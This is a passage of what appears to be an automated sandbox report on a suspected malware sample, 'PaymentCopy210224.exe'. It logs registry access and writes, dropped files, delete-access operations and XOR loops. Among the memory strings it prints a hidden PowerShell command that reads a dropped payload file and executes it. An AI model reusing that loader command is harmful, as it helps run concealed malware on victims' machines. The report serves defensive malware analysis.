"HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\"; Key: ""; Value: "")34:Te87,"PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEINWEBVIEW"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Value: "")35:T6c1,"PaymentCopy210224.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "PaymentCopy210224.exe" trying to touch file "C:\PaymentCopy210224.exe.Local\" "PaymentCopy210224.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc" "PaymentCopy210224.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\COMCTL32.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\UXTHEME.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\USERENV.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\SETUPAPI.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "PaymentCopy210224.exe" trying to touch file "C:\FLTLIB.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\APPHELP.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "PaymentCopy210224.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\PROPSYS.dll" "PaymentCopy210224.exe" trying to touch file "C:\Windows\system32\DWMAPI.dll"36:T662,"PaymentCopy210224.exe" trying to access non-existent file "C:\FLTLIB.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Selvtilstrkkelig.dll" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\resources\vermicular.spa.exe" "PaymentCopy210224.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akkrediteringernes.akh.exe" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nsl97DC.tmp\nsExec.dll" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SELVTILSTRKKELIG.DLL" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\EVAKUERINGSVELSEN51.DLL"37:T612,"PaymentCopy210224.exe" trying to access non-existent file "C:\PaymentCopy210224.exe.Local\" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Appendicocaecostomy\" "PaymentCopy210224.exe" trying to access non-existent file "C:\dependens.ini" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\resources\0409" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\paedomorphic\" "PaymentCopy210224.exe" trying to access non-existent file "C:\Windows\resources\vermicular.spa" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Manzanilla.lnk" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\Documents\Subnodal.til" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Overstrode98.pol" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Brugskunstnerens.rho" "PaymentCopy210224.exe" trying to access non-existent file "C:\Users\Public\Documents\Subnodal.til" "PaymentCopy210224.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\Templates\tyendet\" "PaymentCopy210224.exe" trying to access non-existent file "C:\eksperimentale\" "PaymentCopy210224.exe" trying to access non-existent file "C:\ProgramData\scrimmages.ram"38:T486,"PaymentCopy210224.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Appendicocaecostomy\*.sto (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\paedomorphic\svampedes.jub (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileW" with parameter %TEMP%\remelts (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter unwinder.reo (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter %USERPROFILE%\fontange (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter C:\Users\%OSUSER% (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter C:\Users (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Formbledes (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter %TEMP%\nsl97DC.tmp (UID: 00000000-00005244) "PaymentCopy210224.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\*.ops (UID: 00000000-00005244)39:Ta13,file/memory contains long string with (Indicator: "aes"; File: "Androidal.Sub") file/memory contains long string with (Indicator: "aes"; File: "cytoglobin.txt") file/memory contains long string with (Indicator: "aes"; File: "nsCCE1.tmp") file/memory contains long string with (Indicator: "aes"; File: "powershell.exe") Found string "\Insected\Bnskraft\Kenotafium\Usquabaes" (Indicator: "aes"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000000.65615.0040A000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string "\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub" (Indicator: "aes"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000000.65615.0040A000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string "utput folder: C:\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.002C0000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string "\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub' ; powershell.exe "$tools7"" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.0040A000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.0040A000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.00421000.00000004.mdmp") Found string "powershell.exe -windowstyle hidden $tools7 = cat 'C:\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub' ; powershell.exe "$tools7"" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.00421000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.00421000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes" (Indicator: "aes"; Source: "00000000-00005244.00000001.66902.00421000.00000004.mdmp")3a:T5c8,Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp, 00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000000.65615.002C0000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000001.66902.002C0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005244.00000001.66902.002C0000.00000004.mdmp")3b:T566,"PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "PaymentCopy210224.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "")3c:T429,Dropped file: "Manzanilla.lnk" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Manzanilla.lnk]- [targetUID: 00000000-00005244] Dropped file: "Fremlejet.Kle" - Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Citronsommerfuglene\Vaabenbesiddelse\Fdselsoverskuddet246\Homoseksualisme\Fremlejet.Kle]- [targetUID: 00000000-00005244] Dropped file: "Androidal.Sub" - Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub]- [targetUID: 00000000-00005244] Dropped file: "03CIMQRCLK6G48CIZLE4.temp" - Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\03CIMQRCLK6G48CIZLE4.temp]- [targetUID: 00000000-00005476] Dropped file: "Rekylgevrets119.pah" - Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Rekylgevrets119.pah]- [targetUID: 00000000-00005244] Dropped file: "cytoglobin.txt" - Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\cytoglobin.txt]- [targetUID: 00000000-00005244]3d:T614,"PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsq9230.tmp" with delete access "PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\Music\SCIAMACHIES\SVENDENES.SLA" with delete access "PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\Pictures\RIGORISTERS\RYGSJLE.DAT" with delete access "PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsl97DC.tmp" with delete access "PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsl97DC.tmp\nsCCE1.tmp" with delete access "PaymentCopy210224.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsl97DC.tmp\nsExec.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\03CIMQRCLK6G48CIZLE4.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfd825.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.5476.907373668" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.5476.907373668" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\SECURITY.CONFIG.CCH.5476.907373731" with delete access3e:T868,"PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\SKRMPLANTERS\KAMPAGNELEDERS"; Key: "FELTER"; Value: "%gerontologi%\tripling\Krushaaret243.cro") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\DERMATIC\UNINSTALL\FILMISES\CYANOPHYCEOUS"; Key: "SHEEPKEEPING"; Value: "01000000") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\VIVISECTIONS\UNINSTALL\ELASTICATE"; Key: "MASTENS"; Value: "00000000") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\PENSIONSSYSTEM\AMIDOFLUORID"; Key: "BANKEAANDEN"; Value: "spagettistrops") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\TRVAREN\UNREFUNDING"; Key: "GIDSLERNES216"; Value: "FF8C330A") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\SKATTEFRIES\UNINSTALL\TELETYPEWRITING"; Key: "VATICAL"; Value: "01000000") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\DEKOLLETAGE"; Key: "OPSTAND"; Value: "FF8EFB85") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\OLFACTOMETRIC"; Key: "POLSKES"; Value: "%Urins105%\moesgaard.sal") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\UNDERBRIDGE"; Key: "KITTE"; Value: "Paleoanthropus207") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\TEGNEFILMSPRODUKTIONENS"; Key: "FARVELADERNES"; Value: "%Milchig148%\kosmoramaets.sym") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\FIRTAKTSMOTOREN\UNINSTALL\HAWER"; Key: "SGEMASKEN"; Value: "00000000") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\DEUTEROTYPE"; Key: "LAURES"; Value: "carnivoral") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\EPHESTIAN"; Key: "UDARM113"; Value: "FFB37F8C") "PaymentCopy210224.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\KKKENGREJERNE"; Key: "DECORATED85"; Value: "%sponsorskabernes%\barnesdet.sup") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\12C\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")3f:Tbd5,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.WINDOWS.FORMS__B77A5C561934E089") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.WINDOWS.FORMS__B77A5C561934E089") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.MICROSOFT.WSMAN.MANAGEMENT__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.MICROSOFT.WSMAN.MANAGEMENT__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.DRAWING__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.DRAWING__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.WEB.SERVICES__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.WEB.SERVICES__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.MICROSOFT.POWERSHELL.SECURITY__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.MICROSOFT.POWERSHELL.SECURITY__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.CONFIGURATION.INSTALL__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.CONFIGURATION.INSTALL__B03F5F7F11D50A3A") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\POWERSHELL.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\APPCERTDLLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\APPCOMPATIBILITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS")40:T830,Found XOR loop in file "DISMHOST.EXE.6A855315.bin" at offset 76665; code bytes = 30d0 Found XOR loop in file "DISMHOST.EXE.6A855315.bin" at offset 77648; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A855315.bin" at offset 77788; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A855315.bin" at offset 78978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 186396; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 205919; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 336711; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 364389; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 542173; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 543933; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 60825; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 215865; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 253877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 267821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 318303; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 373865; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 391786; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 402260; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 446764; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 37130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 141329; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 208985; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 306727; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 315730; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 326930; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 343084; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 403089; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 406290; code bytes = 803041:T570,"powershell.exe" queries volume information of 